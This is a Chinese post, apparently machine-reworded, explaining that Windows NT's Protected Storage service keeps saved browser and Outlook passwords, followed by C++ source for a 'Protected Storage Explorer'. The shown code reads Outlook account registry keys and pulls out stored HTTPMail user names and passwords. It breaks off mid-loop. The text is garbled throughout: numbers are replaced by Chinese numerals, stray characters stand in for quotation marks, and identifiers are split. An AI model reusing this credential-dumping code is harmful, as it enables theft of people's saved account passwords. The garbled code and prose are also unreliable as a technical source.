咱们 晓得NT今后 的体系 外有一个如许 的办事 :Protected Storage。他是用去贮存当地 暗码 战网上办事 暗码 的办事 ,包含 挖表时的“主动 实现”功效 以及OUTLOOK 对于应的账号疑息。响应 的咱们便否以经由过程 该办事 去猎取保留 的账号疑息。 源代码以下: /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// // // //Protected Storage Explorer // // By Hirosh // //www.hirosh.net // // // // // //No CopyRights- Feel Free to Cut & Paste // // // // // /////////////////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////////////// #include "stdafx.h"大众#include #include "resource.h"大众#import "pstorec.dll"大众no_namespace har SavingFname[MAX_PATH]; HWND hwndlistview; BOOL iS 九x=FALSE; typedef struct TOOUTDATA{ char POPuser[ 一00]; char POPpass[ 一00]; char POPserver[ 一00]; } OOUTDATA; OOUTDATA OutlookData[ 五0]; int oIndex=0; void EnumOutlookAccounts() { ZeroMemory(OutlookData,sizeof(OutlookData)); HKEY hkeyresult ,hkeyresult 一; long l,i; char name[ 二00],skey[ 二00]; DWORD dw 二; FILETIME f; lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); LONG lResult=RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR ) skey,0,KEY_ALL_ACCESS, &hkeyresult 一 ); if(ERROR_SUCCESS != lResult) return ; i=0;l=0; BYTE Data[ 一 五0]; BYTE Data 一[ 一 五0]; DWORD size; int j; j=0; DWORD type=REG_BINARY; while(l!=ERROR_NO_MORE_ITEMS){ dw 二= 二00; l=RegEnumKeyEx(hkeyresult 一,i,name,&dw 二,NULL,NULL,NULL,&f); lstrcpy(skey,"Software\\Microsoft\\Internet Account Manager\\Accounts"); lstrcat(skey,"\\"); lstrcat(skey,name); RegOpenKeyEx(HKEY_CURRENT_USER, ( LPCTSTR )skey ,0,KEY_ALL_ACCESS, &hkeyresult ); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail User Name"大众, 0, &type, Data, &size ) ==ERROR_SUCCESS) { lstrcpy(OutlookData[oIndex].POPuser,(char *)Data); ZeroMemory(Data,sizeof(Data)); lstrcpy(OutlookData[oIndex].POPserver,"Hotmail"); size=sizeof(Data); if(RegQueryValueEx ( hkeyresult, ( LPCTSTR )"HTTPMail Password 二"大众, 0, &type, Data 一, &size ) ==ERROR_SUCCESS){ int totnopass=0; char mess[ 一00]; for(int i= 二;i